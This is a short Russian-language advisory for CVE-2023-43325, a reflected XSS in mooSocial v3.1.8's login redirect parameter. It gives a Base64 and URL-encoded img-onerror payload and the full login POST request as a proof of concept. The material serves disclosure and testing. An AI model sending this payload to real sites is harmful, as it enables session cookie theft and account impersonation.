mooSocial: XSS (CVE-2023-43325)

Отражённая межсайтовая уязвимость (XSS) существует в параметре data[redirect_url] функции входа пользователя в mooSocial v3.1.8, что позволяет злоумышленникам похищать сессионные cookie пользователя и выдавать себя за его учётную запись с помощью специально созданного URL-адреса.

Уязвимый параметр: data[redirect_url]

Эксплойт — Подтверждение концепции (POC)

Отражённый межсайтовый скриптинг (XSS)

Payload : test">test 
Payload (Base64 encoded) : dGVzdCI+PGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q=
Final Payload (Base64+Url encoded): dGVzdCI%2bPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q%3d%3d

POST-запрос на /moosocial/users/login (ТОЛЬКО ДАННЫЕ POST-ЗАПРОСА):

[_method=POST&data%5Bredirect_url%5D=dGVzdCI%2bPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q%3d%3d&data%5BUser%5D%5Bid%5D=&data%5BUser%5D%5Bemail%5D=admin%40localhost.com&data%5BUser%5D%5Bpassword%5D=pas[redacted]&data%5Bremember%5D=0]

Скриншот